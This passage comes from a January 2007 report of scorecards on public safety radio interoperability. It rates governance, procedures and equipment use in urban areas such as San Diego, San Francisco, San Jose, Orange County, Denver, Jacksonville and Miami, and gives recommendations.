In 1995, the Sacramento UA implemented an 800 MHz trunked radio system to serve most of the local government and
public safety jurisdictions. This radio communications system is known as the SRRCS. It consists of 2 Motorola
SmartNet™ simulcast systems with a total of 49 frequency pairs. There are six fixed sites throughout Sacramento
County.
The Sacramento UA is working toward upgrading this system to become fully compliant with Project 25 standards.
Currently, however, the SRRCS is being upgraded to a Motorola SmartZone™ 4.1, funded by the UASI grant program.
Urban/Metropolitan Area
A-14
January 2007
Tactical Interoperable Communications Scorecards
San Diego, CA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Advanced Implementation
The San Diego Urban Area (UA) includes the City of San Diego and counties of San Diego and Imperial.
Governance: Advanced Implementation
The Tactical Interoperable Communications Plan (TICP) Peer Review stated that “[t]his was one of the most
thorough, well planned TICPs reviewed and reflects an earnest effort by many of the people who have a
vested interest and can be viewed as a model.” The San Diego UA established strategic communications
interoperability planning as a priority over a decade ago. This long-term success and collaboration in the UA
points to significant support from executive leadership in the UA. While the TICP seems well-established,
organizing all agreements (e.g., memoranda of understanding [MOU]) in an accessible format would support
continued coordination among participating agencies. The established partnership between San Diego law
enforcement and the Department of Justice (DoJ) Integrated Wireless Network (IWN) is commendable, and
should be considered a best practice. The San Diego UA should continue to reach out to organizations (e.g.,
utilities) not specifically involved in the decision-making group. The San Diego UA has budget plans for
system upgrades, as well as operations and maintenance, but it is unclear how many years out funding is
allocated.
Recommendations:
•
Recommend working toward the establishment of a regional MOU for interoperability (if a regional
MOU is not already in place), and reference all applicable agreements in the TICP and store them in an
accessible format
•
Continue to identify long-term (e.g., 3 to 5 years) communications interoperability funding sources
Standard Operating Procedures (SOP): Advanced Implementation
San Diego officials indicated that 90 percent of the TICP was based on previous policies, and these SOPs are
well documented in their TICP. Exercise evaluators observed responder operation of communications
systems, which demonstrated the effective use of policies, practices, and procedures. Evaluators also noted
that these SOPs “within the San Diego UA are effective in providing for tactical interoperable
communications among local responders” during real-world incidents. Additional steps, such as
disseminating, formalizing, and training on these tactical policies, would support the widespread and
consistent use of the SOPs . The National Incident Management System (NIMS)/ Incident Command
System (ICS) has been implemented for more than 1 year, and the certified Communications Unit Leader
showed proficiency during the TICP validation exercise.
Recommendations:
•
Continue to conduct training so that SOPs remain entrenched in operations
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Urban/Metropolitan Area
A-15
January 2007
Tactical Interoperable Communications Scorecards
Usage: Advanced Implementation
The San Diego UA uses its shared system on a daily basis for multi-agency, multidiscipline responses. Use
of this shared system provides a means of interoperability to most users in the UA. Repeated
multijurisdictional responses to wild land fires have led to ongoing improvements in the usage of
interoperable communications equipment. The UA showed proficiency in the use of radio caches and the
shared system to provide seamless communications during the TICP validation exercise. In addition,
exercise participants were able to demonstrate familiarity and effective use of gateways and shared channels.
The San Diego UA has established a partnership with the University of California, San Diego to prototype a
regionwide, public safety wireless data network - High Performance Wireless Research and Education,
which is commendable and should be considered a best practice.
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The San Diego UA’s Regional Communications System is a large 800 megahertz (MHz), trunked system that spans two
counties. It supports the majority of the area’s users. The City of San Diego also operates an 800 MHz, trunked
system. Both of these systems support shared talk groups for mutual aid with large contingents of federal users
operating in the very high frequency band. There are also mobile gateways and console patches available for
interoperability among federal and local first responders.
Both the city and county of San Diego are upgrading their respective proprietary, trunked systems to the same version
for improved interoperability. Both jurisdictions are interested in future migration to the Project 25 standard, but the
costs to do so have been prohibitive thus far. The area is also working toward installing a wide-area digital, microwave
backbone to provide a dedicated, high-speed link for data sharing and collaboration. Public safety administrators,
elected officials, and the San Diego Association of Governments, in collaboration with San Diego State University,
have been actively working to develop a regional technology framework. The expected governance agreement will
effectively establish a Regional Authority whose goals will include developing long-term priorities for the funding of
technology projects and a “Clearinghouse” process for the review of technology grant requests to ensure that the
requests are in the best long-term interests of regional public safety and that they are coordinated to avoid duplicate
grant requests.
Urban/Metropolitan Area
A-16
January 2007
Tactical Interoperable Communications Scorecards
San Francisco, CA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Established Implementation
The San Francisco Urban Area (UA) includes the City of San Francisco, San Francisco County, and mutual aid partners
(Marin and San Mateo counties).
Governance: Intermediate Implementation
10%
10%15%
15%
The San Francisco Urban Area Security Initiative (UASI) has an ad-hoc Communications Advisory subcommittee,
established in 2006, that includes some local, state, and federal agencies (e.g., public health, state police, U.S. Coast
Guard [USCG]). From the documentation, the decision-making group responsible for the regional interoperable
communications is not clearly designated (e.g., Communications Advisory Committee, Technical Working Group,
Communications Working Group). There are some formal agreements (e.g., Golden Gate Incident Action Plan) and a
mix of formal and informal partnerships among agencies in the UA. The continued development of documented
agreements would support the formalization of these partnerships to ensure clear roles and responsibilities relating to
communications interoperability issues and decisions. The area is beginning to develop a strategic plan for regional
interoperable communications that includes additional agencies in the area. This strategy, as it gets adopted, can also
support the prioritization of goals so that funding can be planned accordingly. Through federal grant funds, the
organizations within the San Francisco UA give some consideration to interoperable communications when procuring
equipment and are working to develop a diversified and sustainable funding plan. The level of support from UA
leadership for regionwide interoperability is growing, but continues to face the challenge of focusing on day-to-day,
agency-specific communications needs.
Recommendations:
•
Clarify the roles, responsibilities, and relationships of the governance groups (e.g., San Francisco UASI, Bay Area
Super UASI Group, Communications Advisory Committee, Communications Working Group, Technical Working
Group) identified in the Tactical Interoperable Communications Plan (TICP)
•
Establish Communications Working Group through a formal charter, include all local, public support, state, and
federal agencies (e.g., USCG) and document roles and responsibilities as part of the group
•
Continue to develop, document, and formalize agreements (e.g., signed memoranda of understanding [MOU] with
defined roles and responsibilities) among all participating agencies relating to regional interoperability
•
Reference all applicable agreements (e.g., MOUs, intergovernmental agreements) in the TICP, store them in an
accessible format and establish a regular review process so they remain current and relevant
•
Continue to develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP)
with participant approval, adoption, and acceptance, that takes into account a long-term (e.g., 3 to 5 years) funding
strategy
•
Continue to align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Begin to broaden and champion a governance structure that will support regional communications interoperability,
and involve senior regional government leadership on long-term funding plans
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The San Francisco UA TICP represents the first formal interoperable communications regional SOPs; however, the
TICP takes into account various set of law enforcement SOPs and other informal procedures for interoperability as
reported by area officials. Participation in the development of the plan was originally limited in the public safety
agencies involved, and the area has acknowledged that, although they have helpd workshops, they need additional
support to better disseminate the TICP to area agencies (e.g., distribute to all included agencies and dispatch centers).
10%
10%15%
15%
15%
20%
20%
20%
10%
10%15%
15%
Urban/Metropolitan Area
A-17
January 2007
Tactical Interoperable Communications Scorecards
During the TICP validation exercise, participants experienced procedural difficulties (e.g., limited use of shared
channels, gateway activation/deactivation problems, incorrect channel assignment) that highlight the need for increased
training on the procedures for interoperability. Regarding command and control SOPs, the San Francisco UA began the
process of implementing National Incident Management System (NIMS)/Incident Command System (ICS) less than 1
year ago, which implies that the UA is still in the earlier stages of implementing NIMS/ICS policies and procedures.
During the exercise, participants demonstrated familiarity with these processes; however, they encountered some
problems related to command and control (e.g., ICS Form 205 was not distributed; there was no clear delineation of
unified command roles and responsibilities, incident command was established but not announced until a later time).
The UA has prioritized the continued development and exercises of command and control SOPs, which shows their
dedication to continued strengthening of their interoperable capabilities.
Recommendations:
•
Develop regional communications interoperability SOPs (beyond the TICP) with participation by first responder
agencies from across all applicable jurisdictions and disciplines
•
Distribute and put SOPs into practice through regular training, exercises, and usage (e.g., to address gateway
activation issue)
•
Dispatchers should conduct drills on enabling, establishing, and disabling all methods for achieving interoperable
communications
•
Consider scheduling a regular review and update process of developed policies and procedures
•
Initiate basic and advanced training and exercises on SOPs (include communications unit implementation
consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS
compliance
•
Evaluate compliance with NIMS/ICS during all future exercises
Usage: Established Implementation
15%
20%
20%
20%
The San Francisco UA frequently uses its available means of interoperable communications (e.g., shared channels,
gateways, and shared systems). During the TICP validation exercise, participants demonstrated familiarity with the
interoperable communications equipment. However, there were some difficulties activating console patches. Despite
the UA’s demonstrated successes, the TICP validation exercise was limited to local, regional, and minimal state
participants. Assessing the degree to which the local agencies in the UA can easily use interoperable communications
equipment with state and federal agencies was therefore not possible. While the exercise met the stated requirements,
the area is encouraged to build on its success by further integrating state, federal, tribal, and support agencies in future
tests.
Recommendations:
•
Regularly test and exercise deployment of and procedures for regional interoperability resources (e.g., activation of
console patches) to improve proficiency
•
Consider including additional state and federal agencies (e.g., Federal Bureau of Investigation, USCG) in future
exercises and day-to-day use
•
Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day
activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The UA uses an 800 megahertz trunked system that supports a majority of users in the area. Several shared channels
are available as well, especially in the very high frequency band. The UA has a limited number of radio caches and
gateways available for use. San Francisco is working with other UASI sites in the Bay Area to upgrade and integrate
their respective microwave backbones. The connectivity will allow the different sites to integrate their systems for
improved interoperability in the UA.
Urban/Metropolitan Area
A-18
January 2007
Tactical Interoperable Communications Scorecards
San Jose, CA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Established Implementation
The San Jose Urban Area (UA) includes the following cities and unincorporated areas: Campbell, Cupertino,
Gilroy, Los Altos, Milpitas, Monte Sereno, Morgan Hill, Mountain View, Palo Alto, San Jose, Santa Clara,
and Saratoga.
Governance: Advanced Implementation
The San Jose UA Security Initiative (UASI) Advisory Working Group works in conjunction with the Silicon
Valley Regional Interoperability Project (SVRIP), which developed the Tactical Interoperable
Communications Plan (TICP). The SVRIP includes local, state, and federal agencies (e.g., Pacific Gas and
Electric, San Jose Mayor’s Office, California Highway Patrol, and Bureau of Alcohol, Tobacco, Firearms,
and Explosives) and actively recruits new members. The area has formal agreements and partnerships
among all public safety organizations in the area. The San Jose UASI Advisory Working Group’s Executive
Steering Committee annually reviews its regional strategic plan for interoperable communications, and is
working to create an expanded regional emergency communications plan that will include San Jose,
Oakland, and San Francisco. In addition to federal funds, the San Jose UA uses local resources for lifecycle
costs (e.g., communications equipment, operations and maintenance). Organizations within the area develop
budgets and procure equipment according to the regional strategic goals. The senior level-leaders in the area
serve as interoperability advocates and act to ensure continued political and fiscal support for the area.
Recommendations:
•
Continue to align local, regional, and state strategic planning efforts to ensure that regional
interoperability needs are met
•
Continue to development and implement a regional approach to long-term (e.g., 3 to 5 years) sustainable
funding that is consistent with the strategic plan
Standard Operating Procedures (SOP): Advanced Implementation
The San Jose UA incorporated existing policies and procedures into the TICP (e.g., Santa Clara County Fire
Mutual Aid, Bay Area Mutual Aid Channels policies). The area has taken steps to disseminate these policies
and procedures to all participating organizations and also has plans to update the SOPs as pilot technologies
(e.g., Voice over Internet Protocol [VoIP]) are implemented. The San Jose UA began implementing National
Incident Management System (NIMS)/Incident Command System (ICS) more than 1 year ago, and policies
include fire, law enforcement, emergency medical services, and public works organizations in the training.
During the TICP validation exercise, participants demonstrated familiarity with NIMS/ICS, but experienced
minimal difficulties (e.g., Unified Command established but not announced, Communications Unit Leader
roles and responsibilities not clearly designated). As a best practice, the area should be commended for the
development of the TICP training video and the formalized Action Plans for continued SOP training.
15%
20%
20%
20%
Urban/Metropolitan Area
A-19
January 2007
Tactical Interoperable Communications Scorecards
Recommendations:
•
Ensure that TICP peer review recommendations are incorporated into the TICP (e.g., include
Communications Coordinator instead of Regional Interoperability Coordinator [RIC])
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
•
Clarify the roles of the RIC and law enforcement mutual aid coordinator in accordance with the TICP
validation Exercise Evaluation Guide recommendation
Usage: Established Implementation
15%
20%
20%
20%
The UA regularly uses the available means of interoperable communications (e.g., radio cache, gateways,
and shared channels) during day-to-day, task force, and mutual aid incidents. Officials in the area report
proficiency in real-world events (e.g., 2005 demonstration in Santa Clara and San Mateo counties). During
the TICP validation exercise, the participants demonstrated familiarity with the equipment and successfully
established interoperable communications. However, despite an overall successful exercise, there were
difficulties. For example, a shared channel failed, and because there was no pre-published backup
communications plan, the channel was assigned as a resource before it was repaired. Despite these
challenges, the UA should be commended for its willingness to stress its communications systems and truly
challenge its capabilities during a robust exercise.
Recommendations:
•
Regularly test and exercise deployment of and procedures for regional interoperability resources (e.g.,
ICS Form 205 not distributed, radio cache not used) to improve proficiency
•
Consider adding interoperable communications as an evaluation component for all future exercises and
day-to-day activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Currently, the agencies within the UA field a variety of communications systems, including ones that use the very high
frequency, ultra high frequency, T-Band, and 800 megahertz bands. Interoperability is achieved through a system
called Bay Area Mutual Aid Communications System (BayMACS). This system provides an area wide simulcast of all
four frequency bands bridged together.
The UA, through the SVRIP, has taken a short-term approach by developing a “roadmap to interoperability.” The
roadmap takes a “system of systems” approach that includes a number of independent and interconnected interoperable
communications solutions. These include: 1) adding additional channels to the BayMACS; 2) constructing a 19-site
digital microwave system that will serve as backhaul for future interoperable communications; 3) interconnecting a Bay
Area-wide digital microwave Emergency Communications system for regional interoperability; and 4) conducting a
pilot demonstration project to interconnect three agencies’ disparate computer aided dispatch systems as part of a
regional interoperability information broker system, using information sharing to augment voice interoperability.
The UA has also developed a mid-term approach. A networked gateway system will be installed to allow for additional
bridging of existing systems using VoIP. Long-range planning efforts include movement to a shared system.
Urban/Metropolitan Area
A-20
January 2007
Tactical Interoperable Communications Scorecards
Santa Ana, CA
(Combined with Anaheim, CA)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The newly combined Orange County Urban Area (UA) includes the core cities of Anaheim and Santa Ana,
32 other Orange County cities, 2 state universities and the County of Orange.
Governance: Advanced Implementation
The Tactical Interoperable Communications Plan (TICP) was created under the authority of the Orange
County Operational Area; previously established committees (e.g., 800 megahertz [MHz] Governance
Committee, 800 MHz Technical Liaison Committee, Orange County Chiefs of Police and Sheriff’s
Association, Orange County Fire Chief’s Association) are responsible for key decisions and
recommendations relative to policy, training, exercises, compliance, establishment of special committees,
and operational issues within the UA. The governance structure developed by the Orange County UA can
serve as a model for other jurisdictions based on its breadth of local and state participation, frequency of
meetings and reviews, and ability to address near-term needs and long-term interoperability goals. As
documented in Section 2 of its TICP, there is a clear authority flow for interoperable communications
decisions, which is inclusive of all local first responder organizations. The UA has proactively included
multiple state and federal agencies in its interoperability solution through its Countywide Coordinated
Communication System; however, the extent of the governance group’s formal interaction with federal
agencies is not stated. Additionally, the Orange County UA has a regional interoperability strategic plan in
place that has been accepted by all participating agencies, is reviewed annually, and can address funding if
future interoperability enhancements are required.
Recommendations:
•
Continue to seek formalized participation from and coordination with state and federal agencies in
governance bodies
•
Continue to review and regularly update agreements (e.g., memoranda of understanding) to ensure
appropriate agency participation
•
Continue to identify long-term (e.g., 3 to 5 years) funding sources to support interoperable
communications
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The policies for use of the Orange County shared system are long established and were effectively
documented in Section 3 of the TICP. SOPs have been disseminated to all included agencies and dispatch
centers, and distributed through the TICP Implementation Workshop. The use of these system SOPs was
well demonstrated during the TICP validation exercise. The exercise did show the need for further
development of gateway SOPs. The UA indicated that it has been in the process of implementing the
National Incident Management System (NIMS)/Incident Command System (ICS) for less than one year,
which implies that the UA is in the earlier stages of implementing NIMS/ICS policies and procedures.
During the TICP validation exercise, participants demonstrated familiarity with NIMS/ICS processes (e.g.,
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-21
January 2007
Tactical Interoperable Communications Scorecards
established and clearly announced unified command, staging area designated and entry talk group
announced), but have not yet established full proficiency in these processes (e.g., no ICS Form 205 was
created, plain language not used). However, as stated in the post-exercise Improvement Plan, the UA is
actively pursuing improvements in the Communications Unit Leader functions pending further development
of the criteria for this position.
Recommendations:
•
Further develop SOPs for the use of gateways
•
Continue regularly exercising SOPs that test various scenario-based command and control procedures
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Orange County UA regularly conducts multi-agency responses using its shared system. The TICP
validation exercise participants were able to successfully establish interoperable communications (e.g.,
shared systems were used effectively, dispatch maintained fully interoperable communications with all first
responders). Despite demonstrated successes and although the TICP validation exercise met set standards,
broader state and federal agencies were not widely included. Assessing the degree to which the local
agencies in the UA can easily use interoperable communications equipment with state and federal agencies
was therefore limited. The UA is encouraged to build on its success by further integrating state, federal, and
support agencies in future tests. Further demonstrating fluency and familiarity with interoperable
communications solutions connecting local agencies with state and federal agencies would follow through on
the recommendation in the post-exercise Improvement Plan that states that “Now that excellence with intra-
county communications has been demonstrated, exercise and evaluate communications links with agencies
from state, federal, and outlying jurisdictions on other radio systems.”
Recommendations:
•
Consider expanding exercises to integrate state and federal entities
•
Continue to expand and/or document additional methods to interoperate with state and federal agencies
in the UA (e.g., Naval Weapons Station)
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Anaheim and Santa Ana, California public safety communications are supported by the Orange County’s 800 MHz
mixed-mode trunked radio system. All public safety agencies in the Orange County UA have talk groups on this
system, which includes 81 channels with 400 talk groups and 16,000 radios. Given that the current radio system in
Orange County provides for the highest possible level of interoperability (shared system), the next step would be to
upgrade to a countywide Project 25 system.
Urban/Metropolitan Area
A-22
January 2007
Tactical Interoperable Communications Scorecards
Denver, CO
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Denver Urban Area (UA) includes the core city and county of Denver as well as agencies from Adams,
Arapahoe, Boulder, Clear Creek, Douglas, Elbert, Gilpin, and Jefferson counties. This UA is also known as
the North Central Region.
Governance: Intermediate Implementation
10%
10%15%
15%
The Denver UA (established in July 2003) has created a communications subcommittee to make key
decisions and recommendations on interoperability. The committee appears to be extremely active (bi-
monthly meetings) and most agencies in the UA participated in the Tactical Interoperable Communications
Plan (TICP) process. Despite their regular activity, no formal charter binds the group with defined missions,
responsibilities, and authorities. No additional steps have been taken to ensure that the work of the
governing body is being actively adopted within the individual agencies and that agreements are put in place
for agencies noted in the TICP. Leaders in the Denver UA appear to be making budget decisions based on
the communications interoperability needs of the UA as a whole, but it is unclear whether their current
approach to prioritize and sustain funding is sufficient to support their long-term interoperability goals (e.g.,
extending solutions to other jurisdictions). The Denver UA has completed the TICP; however, a strategic
plan accepted by all stakeholders is not currently in place. The Denver UA developing a strategic plan would
ensure that the area’s communications interoperability efforts are coordinated with the State’s initiatives.
Recommendations:
•
Create a formal regional governance board to manage regional multidiscipline and agency
communications and coordinate with state interoperability efforts and plans relating to interoperability
•
Continue to recruit and sign-on additional participants (e.g., additional emergency medical services, and
public support agencies such as transportation and utilities, schools, and nearby Department of Defense
facilities) to the agreements
•
Develop and publish a regional strategic plan (e.g., vision, objectives, funding, procurement strategy)
and obtain acceptance from all participants
•
Ensure coordination of the strategic plan, once developed, with the state’s plan
•
Enhance the regional interoperability funding strategy and methods to include additional long-term (e.g.,
3 to 5 years) funding sources in line with interoperability goals
•
Ensure buy-in for standardizing distribution of information to participating agencies
•
Increase the level of leadership participation in state and local jurisdictions that are outside of the city
and county of Denver and adjoining county agencies, specifically the leadership of the Consolidated
Communications Network of Colorado (CCNC)
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Denver UA has effectively used the TICP process to expand on existing interoperability procedures.
The SOPs are regional in scope and are actively disseminated to agencies participating in communications
planning in the area, providing a solid basis for implementation across the area. The Denver TICP
10%
10%15%
15%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-23
January 2007
Tactical Interoperable Communications Scorecards
represented a collaborative effort with all agencies in the area and became the model upon which numerous
other areas based their plans. Five training videos were also developed to help institutionalize regional
procedures. This degree of training on SOPs indicates a strong commitment to ensuring SOPs adoption and
should be considered a best practice. The UA has begun implementing National Incident Management
System (NIMS)/Incident Command System (ICS) command and control policies and procedures, the TICP
validation exercise demonstrated significant issues (e.g., use of proper ICS terminology, confusion about
who was in charge of the incident or where that person was) with these procedures and therefore more
training is recommended.
Recommendations:
•
Distribute regional SOPs beyond the core city and county of Denver through training and exercise, and
day-to-day usage
•
Ensure that interoperability materials (i.e., SOPs, training information) are being distributed from
regional communications meetings to all of the jurisdictions’ first responders
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Denver UA regularly uses its two major shared systems, and the fixed gateway system is actively
promoted and used weekly. Although some issues were encountered during the TICP validation exercise at
the first responder level (e.g., radios for some agencies were not updated with appropriate channels, a radio
cache request to dispatch was not fulfilled), the After Action Report indicated a “broad and largely effective
use of interagency communications capabilities identified in the TICP.” For example, gateway technicians
demonstrated proficiency in setting up and using the gateways, and users on each of the shared systems were
able to effectively communicate within the coverage area of their systems.
Recommendations:
•
Continue training and exercise of interagency communications to improve the ability of users to
interoperate seamlessly with responders from other jurisdictions
•
Continue training on the fixed gateway system to improve familiarity with the capability
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The City of Denver and a number of agencies, primarily along the Interstate 70 corridor, use proprietary M/A-COM 800
megahertz (MHz) radio systems that are interlinked through a StarGate™ system that allows seamless roaming of
approved talk groups across these systems. The State of Colorado operates the CCNC, a Project 25 (P25)-based 800
MHz system that serves state agencies and a number of local agencies, primarily east of the Rocky Mountains. CCNC
is slowly being expanded throughout the state. A M/A-COM NetworkFirst™ gateway provides limited connectivity
between these regional systems.
The area’s estimated $100 million investment in Enhanced Digital Access Communications System equipment—some
of it very recent—means this migration will take many years. In the interim, grant-funded subscriber equipment with a
P25 mode for the M/A-COM systems is being purchased.
Urban/Metropolitan Area
A-24
January 2007
Tactical Interoperable Communications Scorecards
Jacksonville, FL
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedure
Established Implementation
Usage:
Advanced Implementation
The Jacksonville Urban Area (UA) includes the City of Jacksonville and Duval County. Because homeland
security issues in Florida are addressed by Regional Domestic Security Task Forces (RDSTF), the UA has
been expanded to include first responder agencies within the RDSTF Region 3 (RDSTF3) area. The
expanded area includes the counties of Alachua, Baker, Bradford, Clay, Duval, Flagler, Gilchrist, Levy,
Marion, Nassau, Putnam, St. Johns, and Union.
Governance: Established Implementation
15%
20%
20%
20%
Communications interoperability planning for the Jacksonville UA occurs within the state-defined RDSTF3
(although Region 3 includes planning for areas in addition to the Jacksonville UA). The RDSTF3
communications subcommittee was in place before the development of the Tactical Interoperable
Communications Plan (TICP) and includes a variety of local, state, and federal public safety and support
agencies (e.g., utilities, Florida Department of Transportation, Federal Bureau of Investigation, and U.S.
Coast Guard). The area has a mix of long-standing informal and formal mutual aid agreements and formal
partnerships. The UA has not developed an interoperability strategic plan, but is currently working to
develop a plan (beyond the operational focus of the TICP). The Jacksonville UA reported that the RDSTF3
would ensure that the strategic plan is consistent with statewide initiatives. Agencies within RDSTF3 hold
annual funding meetings to develop their budgets and procure equipment with consideration for regional
interoperability. Although the area established the shared system before receiving Urban Area Security
Initiative funds and appears to have committed local resources to interoperability in the past, it is unclear
whether future funding plans to sustain these systems are based on Department of Homeland Security grant
monies or local resources. Through the significant executive membership (e.g., mayor, judge) in its
governing body, the regional government leaders have demonstrated political and fiscal support.
Recommendations:
•
Consider distributing a formal charter to all participating agencies
•
Establish processes to develop and review agreements (e.g., usage agreements, memoranda of
understanding) at least every 3 to 5 years and after significant events or upgrades
•
Develop and document a regional strategic plan (beyond the operational focus of the TICP) with
participant approval, adoption, and acceptance that takes into account a long-term (e.g. 3 to 5 years)
communications funding strategy (in addition to grants)
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Jacksonville UA incorporated existing informal interoperability policies and procedures (e.g., Florida
Sheriffs’ Association, Florida Fire Chiefs, and the State of Florida Division of Emergency Management had
emergency plans with interoperable communications elements) into the TICP. The UA was able to
demonstrate familiarity with these regional interoperability SOPs during the exercise, but experienced some
procedural problems (e.g., gateway activation and deactivation procedures were not followed) with available
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-25
January 2007
Tactical Interoperable Communications Scorecards
equipment. The Jacksonville UA has been implementing the National Incident Management System
(NIMS)/Incident Command System (ICS) for more than 6 months. Despite such a recent implementation,
the participants were proactive and demonstrated proficiency with many command and control aspects
related to interoperable communications during the exercise (e.g., designating both a Communications Unit
Leader and communications technician), but could benefit from further NIMS/ICS training.
Recommendations:
•
Document and distribute regional communications interoperability SOPs (beyond the TICP) and put
them into practice through regular training (e.g., in-service refreshers and basic training courses),
exercises, and usage
•
Consider developing policy on avoiding use of commercial services (e.g., cellular telephones) for
mission-critical communications
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The Jacksonville UA primarily uses nine local and state shared systems for day-to-day interoperability and
gateway systems (e.g., Florida Interoperability Network [FIN]) for interagency communications. The UA
has demonstrated proficiency in using these resources during real-world events (e.g., Super Bowl XXXIX
and multiple hurricanes throughout the area and state). Jacksonville officials indicated that further training is
needed on how to best access and use communications and response resources that exist beyond the area
(i.e., the State of Florida’s FIN and Florida’s Mutual Aid Resources usage process). The TICP validation
exercise was large in scope and, despite a few minor problems (e.g., interrupted transmissions on shared
channels because most responders were on one channel, and use of individual talk groups instead of
broadcasting on a shared channel), the participants demonstrated that they can effectively communicate
among agencies to handle a large-scale incident.
Recommendations:
•
Encourage training on Mutual Aid Resources specific to interoperable communications and the FIN
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Jacksonville UA is supported by approximately 18 separate radio systems that include M/A-COM, Motorola, and
EF Johnson conventional and trunked systems. These systems operate in the very high frequency (VHF), ultra high
frequency, and 800 megahertz (MHz) bands. The City of Jacksonville operates an 800 MHz, Motorola SmartZone™,
mixed mode system. Regional interoperability is supported by the FIN, the Statewide Law Enforcement Radio System
(SLERS), cached radios, shared channels, and gateways. Statewide interoperability is achieved through the use of the
SLERS and FIN. In conjunction with the Department of Justice, the Jacksonville UA has implemented a VHF repeater
system using ACU-1000 fixed gateways to connect the Duval County First Coast 800 MHz system to the VHF systems
used by federal agencies in the area. Of the 227 fixed gateways that are part of the FIN, approximately 30 are in the
Jacksonville UA, along with approximately 11 mobile gateways. The planned 2007 grant request process includes
initiatives to upgrade the Duval County First Coast 800 MHz system to a Project 25-compliant system and to acquire a
transportable radio system equipped with a collapsible tower assembly.
Urban/Metropolitan Area
A-26
January 2007
Tactical Interoperable Communications Scorecards
Miami, FL
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Advanced Implementation
The Miami Urban Area (UA) includes the Southeast (Florida) Regional Domestic Security Task Force
(SERDSTF), which encompasses the cities of Miami and Fort Lauderdale, and the counties of Broward,
Miami-Dade, Monroe, and Palm Beach.
Governance: Intermediate Implementation
10%
10%15%
15%
As noted in the exercise After Action Report, “it is clear…that there is a high degree of cooperation and
coordination among the agencies in the Miami area.” This cooperation clearly supports the UA’s ability to
excel across SOPs and usage, but does not provide a formalized structure for longer term interoperable
communications planning. For the purpose of the Tactical Interoperable Communications Plan (TICP), the
Miami UA has been expanded to include the SERDSTF, which is a formal body established by the State of
Florida to address broad homeland security issues. Within the SERDSTF, the communications working
group has the responsibility for recommending interoperability initiatives to be addressed through federal
grants in the area. Despite the SERDSTF formalized processes to collect input from the communications
working group, there doesn’t appear to be a charter formalizing the working group’s authority. Individual
agencies make budget decisions independent of its recommendations. In addition, the documentation
provided does not indicate that the Miami UA is conducting strategic planning specific to interoperable
communications that would build upon the broad goals set forth in the Urban Area Homeland Security
Strategic Plan. The development of a more focused interoperable communications strategic plan or annex
would facilitate longer term budget planning for the region as a whole.
Recommendations:
•
Review the limitations on active membership defined in the state guidelines to facilitate participation by
necessary public support disciplines
•
Document the necessary agreements (e.g., memoranda of understanding) to achieve regional
interoperability, and reference all applicable agreements in the TICP and store them in an accessible
format
•
Suggest development of a regional strategic plan, obtain acceptance from all participants, and suggest a
review and clarification of the communication subcommittee’s roles and responsibilities
•
Continue to aggressively seek funding sources for immediate and long-term interoperability needs while,
at the same time, developing a regional plan to budget and prioritize funding for interoperable
communications needs
•
Suggest reviewing whether the current governance structure can fully support strategic planning for the
entire area, or whether alternatives should be considered
Standard Operating Procedures (SOP): Advanced Implementation
The Miami UA has a long history of successfully addressing communications challenges, as demonstrated by
their established SOPs and regular use of interoperability equipment. The Miami Urban Area Security
